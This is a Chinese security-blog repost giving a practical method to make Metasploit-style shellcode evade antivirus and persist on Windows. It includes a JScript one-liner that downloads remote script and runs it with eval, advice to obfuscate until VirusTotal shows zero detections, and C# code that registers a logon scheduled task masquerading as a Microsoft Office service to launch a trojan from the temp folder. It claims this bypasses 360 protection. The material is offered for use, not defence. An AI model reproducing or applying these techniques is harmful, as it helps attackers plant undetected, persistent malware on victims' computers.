实战 | 免杀shellcode并绕过杀毒添加自启动

admin 2022年12月2日12:28:53评论365 views字数 2326阅读7分45秒阅读模式

首先得处理好shellcode,尽量把添加自启动的操作独立成一个Loader,可以避免杀毒软件检测到特征并拦截,这边选择的是利用Javascript来处理Shellcode,而添加自启动的操作由C#来控制,并成功实现了绕过360核晶防护添加计划任务完成木马自启动。



Shellcode的部分用CACTUSTORCH完成

CACTUSTORCHhttps://github.com/mdsecactivebreach/CACTUSTORCH

也可以自己C#编译一个再用DotNetToJScript转Javascript语言

C#转JS教程

免杀 MSF Windows Payload 的方法与实践https://wtfsec.org/posts/%e5%85%8d%e6%9d%80-msf-windows-payload-%e7%9a%84%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e8%b7%b5/

处理完的js脚本,推荐使用sojson的混淆代码,可以实现virustotal的57引擎0报毒,链接:Js加密,我一个18年处理的msf shellcode到现在还是0报毒。

JS加密网站https://www.sojson.com/jsobfuscator.html

因为混淆了,所以体积自然会变很大,这边提供一个网络加载的方式,可以把体积缩小到4kb:

var xml=new ActiveXObject("Microsoft.XMLHTTP");xml.open("GET","http://127.0.0.1/ccc.js",false);xml.send();var aaa=xml.responseText;eval(aaa);

因为是WSH模式的,当然还能用WScript.Arguments.Item(0);的方式来传递代码,可以直接注入一个加密的代码,然后在写一段解密的代码会更隐蔽。

再来谈谈添加自启动,因为程序现在不需要处理上面那些行为,所以杀毒不会拦截,代码:

TaskSchedulerClass scheduler = new TaskSchedulerClass();//连接scheduler.Connect(null, null, null, null);//获取创建任务的目录ITaskFolder folder = scheduler.GetFolder("\");//设置参数ITaskDefinition task = scheduler.NewTask(0);task.RegistrationInfo.Author = "Microsoft Office";//创建者task.RegistrationInfo.Description = "This task monitors the state of your Microsoft Office ClickToRunSvc and sends crash and error logs to Microsoft.";//描述//设置触发机制(此处是 登陆后)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);//设置动作(此处为运行exe程序)IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);action.Path = Path.GetTempPath() + @"" + file + ".exe";//设置文件目录task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时task.Settings.DisallowStartIfOnBatteries = false;//只有在交流电源下才执行task.Settings.RunOnlyIfIdle = false;//仅当计算机空闲下才执行
IRegisteredTask regTask = folder.RegisterTaskDefinition("Office ClickToRun Service Monitor", task,//此处需要设置任务的名称(name) (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "");IRunningTask runTask = regTask.Run(null);

程序添加完自启动,还能顺便把上面网络加载的js脚本释放出来并运行,到发布日期0217能过各种主流杀毒不被查杀并正常上线。

实战 | 免杀shellcode并绕过杀毒添加自启动

相关代码已经发布在Github上

链接:https://github.com/Hzllaga/JsLoader九世新增的C#内存加载添加计划任务https://github.com/422926799/csplugin/tree/master/%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81

实战 | 免杀shellcode并绕过杀毒添加自启动


推荐阅读


实战 | 记一次渗透拿下某儿童色情网站的经过


实战 | 某某街一处XSS的绕过思路


实战 | 记一次企业钓鱼演练


2022年,从现在开始学安全还不迟!


干货 | 2022年超全的安全知识库


实战 | 实战一次完整的BC网站渗透测试


来源:https://wtfsec.org/

作者:hzllaga

如有侵权,请联系删除


星球部分精华内容推荐


实战 | 免杀shellcode并绕过杀毒添加自启动


实战 | 免杀shellcode并绕过杀毒添加自启动


实战 | 免杀shellcode并绕过杀毒添加自启动

其他更多精彩内容,欢迎加入我们的星球

实战 | 免杀shellcode并绕过杀毒添加自启动

原文始发于微信公众号(HACK学习君):实战 | 免杀shellcode并绕过杀毒添加自启动

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月2日12:28:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 免杀shellcode并绕过杀毒添加自启动http://cn-sec.com/archives/1437486.html

发表评论

匿名网友 填写信息